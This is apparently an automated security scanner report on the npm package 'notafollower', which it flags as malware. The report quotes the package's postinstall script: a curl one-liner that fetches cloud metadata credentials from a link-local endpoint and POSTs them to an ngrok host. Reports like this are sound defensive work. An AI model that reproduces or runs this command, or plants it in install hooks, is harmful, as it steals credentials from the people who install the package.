The package has no functional source code. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-08-13T20:34:07.902Z - **Finished:** 2026-08-13T20:34:29.668Z - **Download time:** 260 ms - **Static scan time:** 7 ms - **AI review time:** 21498 ms - **Total time:** 21766 ms ## Security analysis ### Published attack-surface review - **Summary:** Automatic install-time cloud-metadata collection and exfiltration. The package has no functional source code. - **Trigger:** npm install, which runs the postinstall lifecycle hook - **Impact:** Potential theft of cloud workload credentials or metadata from the installing environment. - **Evidence paths:** package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-13T20:34:29.668Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** curl pipe forwards metadata-endpoint response to an external host - **Attack narrative:** On installation, the package fetches a response from a link-local cloud metadata endpoint and pipes that response directly into an HTTP POST to an ngrok-hosted endpoint. This is an unconsented credential/metadata exfiltration chain executed through npm postinstall. - **Rationale:** Source inspection confirms a concrete automatic exfiltration command in the sole package file. This is malicious install-time behavior. - **Files touched:** package.json - **Network endpoints:** http://169.254.170.2/v4/66d9c665c1c54f3a91dcc6e73a917aec-0711026588, https://mourner-slot-explicit.ngrok-free.dev ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** \`postinstall\` fetches data from a link-local cloud metadata endpoint and immediately POSTs it to an unrelated ngrok host., The behavior executes automatically on npm installation and has no package functionality. - **Evidence against:** Package contains no additional source files or declared runtime entrypoints. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = curl -s 'http://169.254.170.[redacted]-0711026588' | curl -X POST -H 'Content-Type: application/json' --data-binary @- 'https://mourner-slot-explicit.ngr... ``` ### 2. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = curl -s 'http://169.254.170.[redacted]-0711026588' | curl -X POST -H 'Content-Type: application/json' --data-binary @- 'https://mourner-slot-explicit.ngr... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 5. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() \`postinstall\` fetches data from a link-local cloud metadata endpoint and immediately POSTs it to an unrelated ngrok host. Public source snippet (untrusted): ```json "postinstall": "curl -s 'http://169.254.170.[redacted]-0711026588' | curl -X POST -H 'Content-Type: application/json' --data-binary @- 'https://mourner-slot-explicit.ngrok-free.dev'" ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** notafollower - **Ecosystem:** npm - **Version:** 1.0.7 - **Version published:** 2026-08-13T20:28:55.642Z - **Package first seen:** 2026-08-13T20:13:41.323Z - **Package last seen:** 2026-08-13T20:53:03.980Z - **Known versions:** 4 - **Latest version:** 1.0.11 - **Appeal under review:** No - **Artifact files:** 1 - **Artifact unpacked size:** 286 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
